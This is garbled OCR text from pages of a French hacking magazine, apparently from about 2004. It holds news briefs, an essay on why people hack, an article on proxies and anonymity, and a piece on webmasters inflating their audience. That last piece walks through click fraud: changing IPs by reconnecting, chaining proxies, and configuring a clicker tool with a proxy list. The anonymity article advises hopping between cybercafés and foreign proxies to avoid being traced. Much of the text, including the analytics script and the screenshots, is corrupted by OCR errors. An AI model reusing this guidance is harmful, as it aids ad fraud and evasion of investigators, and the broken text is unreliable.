Maintenant que vous étes incolla-
ble ou presque sur les fonctions a sens
unique, jimagine bien que méme si cela
a l'air trés sécurisé, un grand hacker
comme vous ne peut s'avouer si rapide-
ment vaincu... et vous avez bien raison.

En effet, comme nous I'avons vu
tout a I'heure, le seul moyen de trouver
le clair M a partir du crypté M’ est
d’essayer de coder toutes les valeurs de
M possibles jusqu'a ce que I'on obtienne
quelque chose d'identique a M.

Oui... enfin ¢a fait beaucoup de
calculs quand méme. Alors comment
faire pour s'en sortir assez rapidement ?

Eh bien, aucun souci, vous n’étes
pas le premier a vous poser cette
question et d’autres ont trouvé comme
solution la création de programmes
spécialisés dans cette méthode pour
trouver les mots de passe.

Le plus connu (et entre nous,
souvent le plus efficace) est John the
Ripper et, devinez quoi, comme on
pense a tout chez Piratz, vous trouve-
rez en page 4 de ce numéro un article
détaillé sur le fonctionnement de ce
logiciel.

CONCLUSION

Nous avons vu I'intérét des fonc-
tions & sens unique, surtout en matiere
de protection. Celles-ci sont souvent
employées, et donnent du fil a retordre
aux cryptanalystes. Vous avez pu remar-
quer qu'une fonction & sens unigue
n’est pas forcément complexe, qu’elle
peut utiliser des techniques trés
basiques, mais le résultat final est
impressionnant.

Virtualabs

IL N'Y A PAS

DE SOT
BREVET

Microsoft continue tlans sa manie
de vouloir tout contrdler. Ainsi,
Billou a breveté le double-clic. ou
plus précisément, le fait de réagir
ditféremment selon la duree et le
nombre de clics de |a souris. C'est
e site Tomshardware.com
qui a fait cette découverte qui
souleve quelques- inquigtudes.
Microsoft pourrait en effet s'en
Servir pour attaguer les systemes
d'exploitation ou logiciels utilisant
le double-clic. C'est Apple qui
ferait la gueule, avec son seul petit
houton de souris. Mais en fait,
c'est plus probablement pour se
protéger contre une telle attaque
que la firme a déposé ce brevet,
ayant eu des expériences judiciai-
res malheureuses par le passe. Ce
qui donne une honne idée pour
devenir riche, & part la création
d'un magazine de piratage dou-
teux : 8tre les premiers & breveter
et faire un procas. Desormais,
Pirat'z est donc le détenteur du
brevet du copier/coller, du bouton
on/off, ainsi que de la création de
magazines de piratage douteux. Ce
demier, évidemment, n'étant
aciuis que pour nous protéger.

AU CINEMA
Voici une nouvelle * offre d'em-
ploi * de la MPAA (le cinéma ame-
ricain) ; arritez quelqu‘un en train
de filmer dans votre cinéma, et
gagnez 500 $ ! Tel est, en gros, le
message diffusé auprés des
employés des cinémas américains,
afin d'essayer de stopper les pira-
tes qui enregistrent les films dans
les cinémas pour les publier sur le
net. En méme temps, la MPAA
essaie e faire pression pour alour-
dir les peines contre les pirates.
Une campagne qui vise surtout @
faire peur, car 500 §, ce n'est pas
une trés grosse récompense pour
un chasseur de primes !




LINUX
BONUX

Vous avez été plusieurs a nous
réclamer plus de ressources sur
Linux. Comme nous ne sommes
pas un mag’ dédié a ce systéme
d'exploitation (a part le Pirat'z
hors-série Linux, que vous trou-
vez encore en kiosques), c'est
sur Internet que vous comblerez
la plupart de vos hesoins. Voici
done quelques adresses en vrac.
Sur LinuxISO.org, vous trou-
verez la plupart des distributions
Linux & télecharger sur un seul
site, afin de faire votre marche,
mais VoUs aurez auparavant
choisi votre distribution grice
aux analyses de FRLinux.net.
Sur www.linux-france.org, vous
pourrez fouiner dans la zone * arti-
cles *, qui vous aideront & mieux
comprendre et utiliser Linux. Grace
aux futoriaux de www.truston-
me.net, vous saurez comment uti-
liser de nombreuses applications
sous Linux sans (trop) vous pren-
dre la téte. En frangais, pour vous
aiter, il y a aussi lea-linux.org.
Et pour ceux qui maitrisent I'an-
glais et qui en veulent plus, des
sites comme freshmeat.net ou
sourceforge.net regorgent de logi-
ciels gratuits a télécharger. Enfin,
des centaines d'autres liens sont
dispos sur www.linux-center.org.

EXCLUSITE !

Tenez, pour une fois, promis, ce
n'est pas une hlague, nous vous
offrons en exclusivité une url que
vous ne trouverez nulle part
ailleurs, méme pas dans Google,
c'est vous dire ! Il s'agit du site
d'un de nos lecteurs qui, éfant le
premier a nous proposer de pas-
ser son site dans le mag’, a hien
meérite ce droit. Rendez-vous donc
sur www.athacker.tk pour une
introduction au hacking qui, bien
qu'en construction, a le méite d'a-
tre dans un frangais compréhensi-
ble, avec de zolies captures
d'éeran. Un bel effort qui mérite
d'8tre encourage !

De plus en plus de personnes utilisent Internet pour communiquer, naviguer et
discuter. Certaines pensent étre totalement anonymes. Ont-elles raisons ? Voyons

cela de plus pres.

e schéma classique pour se
I connecter au réseau Internet
est de passer par un fournisseur
d'acces, fai en abrégé (isp en anglais
pour Internet Service Provider). Celui-
ci est connecté au Net et nous nous
connectons a lui via une ligne télépho-
nique (classique ou adsl) ou le cable.
Quand nous voulons accéder & Inter-
net, nous demandons une connexion a
notre fai qui nous attribue une adresse
IP qui est unique et sert donc a nous
identifier par la suite (voir figure 1).
Dans cette configuration, nous
voyons bien que nous ne sommes nul-
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1, L'IP attribuée est connue du FAI

lement anonyme puisque, a chaque
instant, le fournisseur d'acces est capa-
ble de dire a qui correspond une
adresse IP précise.

LES PROXYS

Puisque dans la situation classique
nous ne sommes pas anonymes, alors
nous allons passer par ce que I'on
nomme des proxys. Un proxy est tout
simplement un service que proposent
certains serveurs et qui permet de
changer d'adresse IP. En passant par

un tel dispositif, le site web que nous
consultons ne connaft pas notre véri-
table IP mais celle que le proxy nous a
attribuée (figure 2).

Néanmoins, notre "vraie" IP est
celle que notre FAl nous a donnée. Du
FAl au proxy, c'est I'IP du FAl qui est
connue et du proxy au site web, c'est
I'P du proxy qui est connue. A un
instant t, le proxy connait les deux
adresses IP que nous utilisons. Il fait
office d'intermédiaire entre deux adres-
ses et, suivant le sens de communica-
tion, change une adresse par |'autre et
vice-versa. :

LE cOUT DE LA VIE

Obtenir les logs d'un obscur serveur proxy, installé par un pirate dans un cybercafé en plein air au Turk-
ménistan n'est pas chose facile. Dans certaines situations, il est peut-étre envisageable pour les enqué-
teurs de pirater le serveur en question. Mais le plus souvent, il faudra faire pression sur I'hébergeur ou les
autorités du pays pour obtenir ces informations. Dans tous les cas, ces recherches ont un prix, non négli-
geable, et prendront du temps, que tout le monde ne sera pas prét a gaspiller pour rien.

Ily a trois raisons majeures pour lesquelles on voudrait &tre anonyme sur le Web. La premiére consiste a
vouloir échapper aux publicitaires qui grouillent sur le Net. lls sont préts a déployer des moyens impres-
sionnants pour traquer les clients potentiels, espionner leur habitudes, et rassembler des informations per-
sonnelles ou commerciales les concernant, par recoupement entre des visites de sites différents. L'adresse
IP est alors un élément clé pour vous traquer. Imaginez que vous ayez cliqué sur un bandeau publicitaire
d'un site X, et consulté quelques pages sur un site Y sur un sujet qui vous intéresse. Si vous donnez, plus
tard, mais toujours avec la méme adresse IP, vos coordonnées (ou seulement votre adresse email) sur un
site Z, et que ces trois sites appartiennent a une méme société, cette derniére sera en mesure d'associer
un moyen de vous contacter avec des informations sur vos goilts et habitudes. Quoi de mieux pour cibler
une campagne de Spam ? Et ca, ca se vend assez cher, naturellement.

En utilisant un ou plusieurs proxys, et en les alternant par exemple, vous brouillez suffisamment les pistes
pour empécher ces pratiques. Une chose est siire, ¢a ne vaudra pas la peine, économiquement, de vous tra-
cer au-dela du proxy - d'autant qu'il y a plein d'autres victimes a disposition.

On peut aussi vouloir étre anonyme pour cacher son identité a des paires, potentiellement malintentionnés.
Par exemple sur un chat de script kiddies, vous ne voudrez pas montrer votre IP vu que ce sera la seule
information dont aura besoin un délinquant pour vous balancer son Oday et installer ses backdoors sur votre
ordinateur. Si vous passez par un proxy, il y a de fortes chances qu'il n'ait pas I'envie, ni le temps - et sur-
tout les capacités - de remonter jusqu'a votre véritable adresse IP

Enfin, vous voulez peut-étre rester anonyme, parce que vos activités sont condamnées par la loi.
Dans ce cas, attention. Méme si vous estimez ne rien faire de mal en pénétrant le systéme informatique
d'une société mal protégée (parce que vous n'avez rien effacé, averti I'administrateur, et blablabla), il ne faut
pas sous estimer les coiits que cela peut représenter pour I'entreprise : réinstaller toutes les machines poten-
tiellement compromises, vérifier I'intégrité de toutes les bases de données, revoir les stratégies commercia-
les, ete. Elle n'aurait en effet aucune raison de croire en votre honne foi. Rien n'indique qu'il ne s'agit pas
d'espionnage industriel ou que vous n'essayiez pas de saboter son systéme informatique. Pensez-y.

Et dans ces conditions, les pertes peuvent étre suffisantes pour qu'investir dans une enquéte pour vous
démasquer devienne une option intéressante.
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SROUILLONS
LES CARTES

Malgré la présence d'un proxy, nous
ne sommes pas anonymes. Mais si
quelqu'un veut connaitre notre identité,
il lui faut aller voir le proxy pour décou-
vrir notre adresse IP réelle, identifier le
FAI qui a attribué cette IP et enfin aller
voir ce dernier pour avoir notre identité.
Toute cette procédure de remontée peut
étre assez longue. Afin de nous couvrir
le plus possible, nous pouvons alors
enchainer les serveurs proxys, (figure 3)
ce qui rendra la découverte de notre
identité encore plus compliquée.

IP-FAI

IP-PROXY3

Site Web

Pour corser le tout, nous pouvons
également passer par des proxys qui
sont situés dans des pays différents, ce
qui allongera encore plus le délai pour
Nous retrouver, mais nous ne sommes
toujours pas anonymes.

Maison

2. Le site web ne connait que U'IP du proxy

L'ANONYMAT SERAIT-
ILUNMYTHE ?

Au vue de cet exposé, on peut pen-
ser qu'étre anonyme est impossible. Si
I'on observe les schémas, on peut voir
qu'il y a une chaine unique. Il faudrait
que cette chaine soit brisée a un
moment donné pour étre anonyme
(figure 4). La seule fagon de faire, et
ainsi de protéger son identité, c'est que
le fournisseur d'acces ne nous
connaisse pas. Pour cela, il ne faut pas
se connecter depuis son domicile mais
depuis un cybercafé, ainsi il manque
un lien : du Cyber-café a Nous.

fai

PROXY3

Mais ne croyez pas que le fait d'é-
tre dans un cybercafé vous autorise a
commettre tous les délits numériques
que vous voulez. Vous serez toujours
repérable. En effet il est peu probable
que vous fassiez 200 km pour aller

fai

Cyber-Café

4. On a brisé la chaine !

X

Site Web

dans un cybercafé. Et méme si ¢'était
le cas, une petite planque des autori-
tés permettrait de vite vous mettre la
main dessus. En fait, si vous voulez
vraiment avoir une chance d'étre ano-
nyme et non repérable, il faut faire un
mixte de tout ce qui précéde : vous
connecter depuis des cybercafés et en

" changer & chaque fois, vous connecter

depuis des villes et pays différents, uti-
liser une chaine de proxys situés dans
différents pays.

CONCLUSION

Bien que I'anonymat sur Internet
soit possible dans les faits, en théorie

IP-PROXY1

PROXY2
3. Chainer les proxys ne change pas fondamentalement le probléme

il est quasiment impossible. Et, contrai-
rement a ce que certains pensent, les
proxys ne le garantissent en rien: ils
ralentissent simplement la recherche
de notre identité.

Zirkkam

Si1 CE N'EST
LUIL, C EST
DONC SASSER

Le virus & la mode il y a quelques
semaines, ¢'était Sasser (ou pour
les pros :W32/Sasser). ll s'appel-
le comme ca parce qu'il ufilise la
faille LSASS (Local Security Autho-
rity Subsystem Service) de Win-
dows (XP 2000, 2003 Server) pour
se propager et paralyser le systs-
me sur lequel il s'est installé. I est
capahle d'infecter les ordinateurs
sans la moindre intervention de I'u-
tiisateur. Ferit en Visual C-++, i se
s'infiltre par le port 445, un port
que vous devriez garder hien fermé
e toute maniére, vu tout ce gui
essaie d'y passer.

Billou avait publié un patch cor-
rectif (MS04-011) pour la vulné-
rabilit, un peu avant la
découverte de Sasser. Espérons
que e vers aura au moins servi a
ce que les utilisateurs mettent a
jour leur systéme. Il aurait quand
méme infectd des milliers d'ordi-
nateurs de par le monde.

Son inventeur, un jeune Allemand
nommé Sven J., agé de 18 ans, a
été amgté le 8 mai 2004. Il a pu
étre retrouve car ses " copains "
I'ont dénoncé, KroSoft promettant
une forte récompense. Le hacker
(ou pirate, ou seript-kiddie selon
votre jugement) fait donc désor-
mais de heaux aveux a la police
allemande il risque la prison et
une amentle sévare.

R.I.P. 321
STUDIOS

IIs ont tenu tant qu'ils ont pu, mais
force est de constater que c'est
sans doute la fin pour 321 Stu-
dios, éditeur de DVD X-Copy et de
Games X-Copy. Aprés les déhoi-
res judiciaires entre le dévelop-
peur et lindustrie du cinéma, ce
sont les éditeurs de jeux qui les
attaquent pour Games X-Copy.
Autant dire que la facture de frais
d'avocat commence a peser lourd
dans la balance. Le PDG de la
compagnie se montre peu opti-
miste, et a Piratz, nous leur avons
réserve une place au cimetiere a
coté de I'émulateur PSX Bleem !
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LA PENETRATION
EST PLUS FACILE

LA SECONDE FOIS
Une sociéte spécialisée dans la
securité informatique et dans les
tests d'intrusion a révelé le résul-
tat assez inquigtant d'une étude
menée depuis 4 ans sur la sécu-
rité des applications web. Le pour-
centage moyen de cas ol une
vulnérabilite classée * haute * ou
" critique " est détectée est de 89
% pour le premier test d'intrusion,
et de... 93 % pour le second !
Cette augmentation serait due a
des corrections qui ne fonction-
nent pas ou qui introduisent de
nouvelles failles, ainsi qu'au fait
que le second test révele souvent
de nouvelles vulngrabilités.

LES ARTISTES
BIENTOT ADEPTES

pu P2P ?

Une idée pas si béte a té propo-
sée aux USA, pour résoudre e pro-
bleme du piratage de la musique.
L'idée serait de rémunérer les artis-
tes a partir. de leur popularité sur
Intemnet (notamment les réseaux
P2P). Un organisme gouveme-
mental mesurerait cette popularité
et reverserait aux artistes des reve-
nus proportionnels & celle-ci, reve-
nus provenant de taxes pour les FAI
ou des ventes de lecteurs MP3 par
exemple. Autant dire que cette idée
ne plait pas du tout a la RIAA, qui
n'aurait aucun contrle la-tessus.
Done, ga nous plait, a nous !

L'EGLISE SE
MODERNISE

On a beau dire que |'église vit en
dehors de son temps, Iéglise virtuel-
le anglaise " Church of Fools "
fwww.shipoffools.com/church)
montre que tout évolue. Dans cette
éqlise 3D en ligne, vous pouvez vous
confesser, prier écouterla messe, dis-
cuter ave d‘autres fidéles. . . ou infi-
deles, puisque comme Son nom
Iindique, cette éqlise ne se prend mal-
gré tout pas trop au sérieu. Ne soyez
donc pas étonné si vous y croisez
Satan, ou i les visiteurs ne respec-
tent pas toujours le silence qui §'im-
pose. A quand le "nudity patch ?

FPOURQUOI

"Pourquoi hacker ?" Cette question est sortie de la bouche de mon frangin, je ne
sais plus trop quand. Je ne voulais pas entrer dans une explication qui aurait mis
mon cerveau en ébullition, et encore moins lui fournir un moyen de m’énerver. Alors
je lui ai balancé une réponse classique, un vague "parce que j'aime ¢a", pour qu’on

change de sujet.

‘est peut-&tre la réponse qui
CVous est venue a I'esprit quand

vous étes tombeé sur le titre de
cet article. "Parce qu’on aime ¢a". Ce
n'est pas faux cela dit ;) Imaginez un
concepteur de coffres-forts qui préten-
drait avoir congu le coffre inviolable, le
plus sécurisé de toute la Terre. Certains
I'acheteraient, persuadés de sa robus-
tesse, d'autres demanderaient a vérifier
ce qu’avance le constructeur. Je ne suis
pas de ceux qui gobent comme ¢a des
vérités, je tiens a les vérifier. Si ce type
me disait que son coffre est inviolable,
je lui demanderais les plans et cher-
cherais la faiblesse. Je chercherais ol
ce coffre pourrait étre vulnérable. Je n'i-
rais tout de méme pas mettre ma for-
tune (quelques euro...) dans un coffre
qui ne protégerait rien, je ne compte
pas prendre ce risque.

Qu'auriez-vous fait ? Auriez-vous
mis vos économies dans ce coffre ou
I'auriez-vous fait sauter a la dynamite
histoire de vérifier que le constructeur
disait vrai ? Transposé dans le domaine
informatique, le coffre deviendrait ser-
Vveur ou encore cryptosystéme, tant de
domaines ol I'on innove, ol I'on crée
et oll I'on vend. Il ne faut pas perdre de
vue le cdté pécuniaire de la chose. On
crée des sites pour vendre un produit,
on crée des protections pour des logi-
ciels afin d'éviter les pertes financiéres,
on protege des serveurs car ils contien-
nent des données sensibles que cer-
tains pourraient monnayer.

Quand un hébergeur annonce qu'il
offre un espace a un site sur un serveur
sécurisé, le plus sécurisé du monde, je
tiens a le vérifier. Idem quand un web-
master affirme que son site est inviola-

ble. C'est plus fort que moi. C’est ma
nature, de ne pas croire ce que I'on me
dit mais plutdt de vérifier par moi-
méme, la curiosité sirement. Et mon
frére qui me demandait pourquoi. Ca
me paraissait évident.

Linnovation est le moteur de la
société. S'il n'y avait pas eu de frigos,
on en serait encore a conserver la
viande dans la saumure, s'il n'y avait
pas eu l'invention de serrures, on conti-
nuerait a utiliser des planches de bois
pour verrouiller nos portes. Il a fallu
qu'au moins une personne démontre
que certaines serrures étaient vulnéra-
bles pour que les gens I'admettent. On
peut innover, mais il doit y avoir une part
de tests, de vérifications. Quand on sort
un produit qui se veut étre robuste,
résistant aux attaques, on vérifie qu'il
correspond bien aux attentes. Or, sur le
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HACKER ?

Net ou dans la conception de logiciels,
cette phase est souvent négligée. Soit
par mangue de temps, soit par manque
d'argent. Ou alors une autre possibilité
vient s'ajouter : par manque de
connaissances.

LECHATKITL

Le partage des connaissances est
nécessaire. Pour que tout le monde
puisse se protéger, pour que tout le
monde sache ce qu’on lui cache : les
techniques employées pour contrer les
protections. Il faut que les gens voient
de leurs yeux qu'en fait certaines pro-
tections ne valent rien, qu’elles ne sont
qu’artifices. C'est une partie de ce que
Je fais, faire circuler ces informations.
Les techniques que nous employons,
mises a part certaines (les techniques
maison"), sont connues. Si les types
qui congoivent des sites ne les connais-
sent pas, comment veulent-ils pouvoir
anticiper ? Comment veulent-ils pouvoir
empécher des attaques contre des sites
web qu'ils auront congu ? Idem pour les
gars qui sécurisent des serveurs. lls
installent le patch GRSecurity, ou juste

PaX, et ils pensent que c'est sécurisé.

En oubliant que des précautions s'im-

posent, comme le choix des mots de

passe du root ou de tout autre utilisa-

teur. lls oublient que ces patchs ne

protégent pas que des erreurs banales,
les plus élémentaires, et
qu’'un hacker cherchera
dans cette direction en
premier lieu.

Il ne faut pas croire
qu’une petite faille passera
inapergue. Mettre quelque
chose sur le Web, c'est le
mettre a la disposition de
millions de personnes,
voire de milliards. Il y en
aura slirement une pour
trouver cette petite erreur,
cette faille que le gentil
monsieur s'occupant de la
sécurité du serveur a esti-
mée négligeable. Hacker,
c'est &tre altruiste. Penser

aux autres et leur éviter
qu’un petit génie en proie
aux affres de la célébrité
décide de laisser une trace
de son passage sur la
page index du site. Ou
encore qu'un autre gentil
monsieur décide de s'ap-
proprier une machine ne
lui appartenant pas.

Je ne vois pas en quoi
aider les gens est répré-
hensible. Certes, parfois les méthodes
employées sont litigieuses, mais faire
sauter un coffre a la dynamite I'est tout
autant, méme si c'est pour en vérifier la
sécurité. Il ne faut pas perdre de vue
que les systemes que I'on audite ou
que I'on traque ne nous appartiennent
pas. Et c'est tout le probléme que nous
posons, nous hackers. Je trouve une vul-
nérabilité sur un serveur qui ne m'ap-
partient pas, et je la signale. En
apportant des preuves de ce que j'a-
vance. Et c'est cette étape qui pose
probléme : la confiance sur le Web.
Comment étre slr qu'un type se
cachant derriére un pseudo a trouvé
une vulnérabilité ? En vérifiant ce qu'il
avance. Mais comment étre siir que les
indications qu'il donne ne provoqueront
pas de nuisances sur le systeme (si le
correspondant ne connait pas vraiment

les techniques de bases) ?

La confiance est une chose impos-
sible sur le Net. Pour prouver ce que I'on
avance, on doit quelquefois faire
certaines choses qui entrent dans le
domaine de ['illégalité. C'est siir, ce n’est
pas un seul gars qui touche un peu en
I'informatique qui pourra changer la
face du Net, mais si on est plusieurs, si
chacun aspire aux mémes idéaux, peut-
étre que I'on arrivera a faire quelque
chose, a nous rendre crédibles. Et
enlever des mentalités, comme je I'ai
encore lu récemment, que les hackers
sont une menace pour le monde infor-
matique. Loin de la. Est-ce une désin-
formation du milieu des hackers qui fait
dire que nous sommes une menace ?
Ou alors est-ce dire que nous possé-
dons une arme puissante, celle de faire
a peu prés ce que I'on veut de 1 et de
0 ? Si le binaire était une arme, celle
qui terroriserait les informaticiens, je ne
pense pas que I'on regarderait les tech-
nologies du méme ceil. Et dire que sans
binaire, sans ces 1 et ces 0 formant des
signaux électriques, il n'y aurait plus de
satellites, plus de cartes bancaires, de
systemes d'informations et de commu-
nication. Notre monde est devenu
dépendant de la technologie, et nous
nous efforgons de la comprendre et de
relever les défis qu'on lance.

JEtre hacker, c'est en fait étre lége-
rement utopiste. Réver que ce monde
de technologie qui nous entoure soit
meilleur, que la liberté soit dominante
dans ce monde binaire, ol n'existe pour
certains que le bien et le mal. On est le
un ou le zéro, le gagnant ou le perdant.
Et si on appliquait le principe du quan-
tique dans ce monde ? S'il existait un
élément entre le zéro et le un, un élé-
ment litigieux mais bien utile, qui
simplifierait le tout ? Je hacke pour faire
bouger les choses, pour étre cet
élément litigieux, avec les quelques
capacités et connaissances que je pos-
sede. C'est peu, mais c'est tout ce que
je peux offrir. Certains diront que ¢'est
déja ca, d'autres que ¢a ne sert a rien.
Chacun est libre de ses choix. J'adore
I'informatique, je vis 80 % de mon
temps avec un ordinateur, et c'est pas
toi frangin qui m'empéchera de vivre
comme je le fais actuellement.

Virtualabs

LES PROCES,

CA MARCHE... OU PAS ?

Depuis que la RIAA a commencé
a poursuivre en justice les inter-
nautes (plus de 3000 aux Ftats-
Unis jusqu'a présent), se pose la
question de savoir si ces proces
sont effectivement efficaces. Pour
la RIAA, cela ne fait pas de
toute : les ventes de CD ont aug-
menté de 10 % au cours du pre-
mier trimestre 2004 par rapport a
I'an demier. Les gens sérieux, euy,
ont remarque qu'en meme temps,
les téléchargements ont augmen-
16 de presque 500 %, ce qui n'est
pas tout  fait en accord avec la
théorie de Ia RIAA sur I'impact
négatif du piratage par Intemet.

Quanp LE P2P
SE PRETEND
ANONYME

Le développeur Optisoft, qui déve-
loppe le code réseau pour les
logiciels de P2P  Bluhster
{www.blubster.com) et Piolet
{www.piolet.com) a annonce une
nouvelle technologie * révolu-
tionnaire * pour rendre invisibles
les utilisateurs de ces réseaux. lls
annoncent ainsi fierement " deux
couches " de camouflage : chaque
utilisateur aurait plusieurs adres-
ses IP, empruntées a d'autres
intemnautes sur le réseau, afin de
ne pas tre directement identifia-
hle, et les fichiers sur le réseau
seraient " déguisés " pour passer
totalement inapercus. Alors, tout
¢a, c'est hien beau sur le papier,
mais ce ne sont que des mots
assez vagues, rien n'est dit sur la
technologie sous-jacente. Qu'est-
ce que ¢a peut donc bien vouloir
dire, avoir plusieurs IP ? On peut
supposer que les autres intemau-
tes relaieront les fichiers, un peu
comme le fait déja Freenet depuis
longtemps. Ce qui ne manguera
pas e ralentir le debit. Et d'aut-
re part, ga.vous tenterait, vous, de
vous faire attaquer en justice
parce que quelqu'un a utilise
votre [P pour transmettre un
fichier pédophile ?
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DEMASQUEZ LES

WEBMASTER TRICHEURS

Depuis que le Net est devenu un vaste marché ou tout s’achéte et se vend, quelques administrateurs
peu scrupuleux usent de pratiques douteuses leur permettant d’augmenter leur audience de maniére
fictive. Je ne citerai pas de nom, j’aurai trop peur de finir comme Marat dans sa baignoire...

our pouvoir comptabiliser leur fréquenta-
tion, ces sites ont dans leurs pages un bout
de code javascript ou "tag" qui permet a

des sociétés extérieures comme XITl, Weborama ou
autres de pouvoir fournir des statistiques précises.

UN PEU DE TECHNIQUE

Une premiére astuce consiste a inclure plu-
sieurs "tags" dans une page. Cela n'est bien sir
pas permis. Ces tags sont alors cachés dans le
code de la page. On peut méme les cacher dans
une newsletter adressée a tous les utilisateurs du
site ou le dupliquer sur plusieurs pages.

Voici un tag non modifié du serveur XITl. Les
webmasters sans scrupules vont jusqu’a modifier
le code pour le détourner a leur profit. Nous ne
vous aiderons pas a le faire, mais il suffit de
connaitre un tant soit peu le javascript...

<script language="JavaScript1.1">
<[--

hsh = new Date();
hsd = document;
hsi = '<a href="http://wwwxiti.com/xiti.asp?s=75963"
hsi +='TARGET="_top"><img width="39"
height ="25" border=0"'

hsi +='sre="http;//logv17 xiti.com/hitxiti?s=75963'
hsi +='&p=&hl=' + hsh.getHours() + 'x'

+ hsh.getMinutes() + 'x'

+ hsh.getSeconds();

if(parseFloat(navigator.appVersion)>=4) {
Xiti_s=screen;hsi += '&r=" + Xiti_s.width + 'x'
+ Xiti_s.height + 'x' + Xiti_s.pixelDepth + 'x'
+ Xiti_s.colorDepth;
}

hsd.writeln(hsi + '&ref="
+ hsd.referrer.replace('&', '$")
+ " title="Mesurez votre audience"></a>");

/1>
</script>

Une autre technique simple consiste a
partager son trafic avec un site complice.
Chaque site comporte un lien vers ['autre.
Chaque connexion est comptée en double par
les tags puisque chaque page comporte, en
plus du tag de son propre site, celui du site
complice.

La technique du "Page-Jacker" est originale
puisqu’elle consiste a copier sur son serveur
la page d'un site existant... Imaginez-vous la
page principale de sites comme tf1.fr ou goo-
gle.fr sur votre propre serveur web ? Le moteur
de recherche ne peut qu'indexer la page et
amener du trafic.

Les méta-informations d'une page html com-
portent une fonction "refresh" qui permet de
recharger une page dans le navigateur. En utilisant
cette fonction, des petits malins ont imaginé le sys-
téme des "pages satellites". La technique du
"refresh"” est la suivante : une premiére page com-
porte une balise html "refresh" pour charger une
seconde page automatiquement toutes les x
secondes. Cette seconde page appelle la premigre,
la boucle est ainsi bouclée.

Une demiére astuce consiste a rouvrir la page
d'accueil lorsque vous désirez quitter le site. Cette
technique est utilisée par beaucoup de sites et
notamment ceux a vocation érotique ou porno-
graphique ou méme certains sites warez.

LOGICIELS R030TS

La technique du logiciel robot est la plus sim-
ple et la plus difficilement détectable. Comme vous
le saviez peut-&tre, des régies publicitaires en ligne
offrent une rémunération (faible) liée au nombre
de clics que les visiteurs font sur leurs banniéres.
Cet argent est versé aux webmasters de certains
sites. Mais attention, compte seulement chaque
"clic" unique. Pour &tre certain que vous ne cliquiez
pas 000 fois vous-méme sur la banniére, le ser-
veur distant de la régie enregistre votre adresse ip
dans son fichier de log (trace). Comme vous ne
pouvez pas changer cette adresse facilement, cela
constitue une bonne protection.

Bien sir, si vous voulez tricher, rien ne vous
empéche de vous déconnecter et de vous recon-
necter en utilisant un programme tel Adsl Auto-
connect, téléchargeable gratuitement sur
http://www.adslautoconnect.net/. C'est encore
plus facile avec une connexion modem normale.
Si vous savez programmet, vous utiliserez un script
pour recharger la page ou un simple "refresh"
html...Votre adresse ip ayant changé, le serveur ne
vous reconnaitra pas.

Parametres du réseau local

Configuration automatique
La configuration sutomatique peut snnuler les parametres manuels,
Pour garantir leur utiisation, désactivez la configuration automatique

[IDeétecter automatiquement les parametres de connexion
[Clitiiser un script de configuration sutomatiqus
Adresse | |

Serveur proxy

serveur progy pour votre réseau local (ces paramétres ne
.s‘npphmo%asédumd'mestm ou & des

Adrgsse : | proxy.freer | Potz{3128 | [ avancé.. |
[CINe pas utiiser de serveur proxy pour les adresses locales

Lo ) [Camier ]

Vous pouvez aussi utiliser un proxy qui va dis-
simuler votre adresse ip du point de vue du ser-
veur. Pour cela, dans votre logiciel Internet Explorer
allez dans le menu "Outils" "Options Internet" puis
dans l'onglet "Connexions" et "Paramétres réseau"
(capture 1). Dans la case adéquate, entrez le nom
du serveur proxy et I'adresse du port qu'il utilise
(voir précisions plus bas).

Mais il existe des outils, beaucoup plus per-
fectionnés et automatisés, qui permettent d’utili-
ser plusieurs serveurs proxy (I'un derriere l'autre,
a tour de role...), pour cacher votre identité. Ces
logiciels simulent méme des acces via des navi-
gateurs différents en utilisant la norme HTTP. Ca
ressemble a un comportement humain, non auto-
matisé, car on peut ajouter des délais vanables et
une part de hasard.

Examinons tout d'abord le logiciel Webcl icker
de la société Headstrong, pour voir comment ¢a
se passe. Téléchargez leur outil depuis I'adresse :
http:/ /www.headstrong.de/software-webclicker.shtml.
Apres linstallation, allez dans I'onglet "Proxy List"

h Hrml'-ilrl)l\l) W(-h['h'(ker 2.55
N:mlm'fn Bmmlwunlwmlmwl

[19.14.17.191:3128
12,8.179.67:80
12,8.179.68:60
- |24.16+.109.5:6080
32.97.202.66:80
61.133.111.130:80
62,42.63.4:80
- 163.70.161,11:8080
163.193.210.111:8080
163.194.179.202:80
164.0.99.135:80
 |64.210.241.101:80

64.210.248.133:80
 |128.134.130.32:60
128.171.57.189:3128
134,75.140.11:8080
139,91.254.18:8080
 |139.130.221.9:3128
140.76.3.1:3128
 |140.105.4,189:8080
140,116.49.1:3128
1146.83.210.7:3128
1148 277 111 292.80

=
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EST-CE VRAIMENT LEGAL ?

Bien entendu, ne testez pas ce produit
sur un site autre que le votre, un site
perso par exemple. Mais ne l'utilisez pas
surtout si un contrat de pub vous lie a
une quelconque société. S'ils s'apercoi-
vent que vous avez triché, vous risquez

gros.
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focount Start Help
Abwtilnhl "WMILBLU‘B Configuration I“WWI h He n'iStmnr; w:-h(hrker? 55
fcont  Pwse S Heb
~{ B Emulation ) T ey |
Mmlmulmmlmwm mm‘ G
Document Referer: 2 ;
Overview )
{hito:ssitepersofree. fr m sl
[ Ceompty.= moreferer) - Comene Proxy: (4of 17) 162.160.247.97:80

[V Delay between two URLs

("eenmdowor|< ‘;I seconds |

Thresd Twa,
Current Prozy: ammq:mmamo
| Last Satus: [3] getting data (10029 of 10620 bytes)

~ Cument URL: (1. na)mmumw
Last Sratus: mmmmw

Corrent URL: (2 of 3) hetp:/Ausws altavists com/

% random detay betueen

|t ";] and |SD ‘;l seconds |

Start with proxy #: |o A;E

W oop[o =] times (0s mimze) ¥ remove nol working proxies.
[~ mix between loops ™ switchto simple mode on rul

Uninstall

L ] su:nu(rmpzmom: 4
Falod(mydtumm): Ol

(capture 2), examinez la liste des serveurs proxies
existante. Tous ne marcheront pas forcément (voir
la nétographie pour des sites de proxies).

Dans I'onglet url et aussi configuration (capt-
ure 3), entrez I'url désirée, le délai entre les faux

| Users Comments

Joe Mc. Hremlin

*... This is the best

clicker ive seen. luseit |
almost half a year and I'm |
= very cordent wih i, 1
Caca helps me 1o get S008 per mnnth
?hat’s Great!"

Gaia DiLoreto

We are computer

i consultants ourselves,

{ and qualified to

| recommend one

| softvvare over another, Caca is 4 HUGE |
|help for fooling the sponsors, and a
'must-have program in our opirion. Qur
‘comments are completely unsolicited,
(and quite sincere."

Douglas R Scott

"&though the
documentation is minimal, |
andl the author's web |
site has ittie additional
infotmeluon the author himseif is hefpful,
lond Ih-a program is pretty easy to figure |

"clics", le nombre de boucle (loop) puis cliquez sur
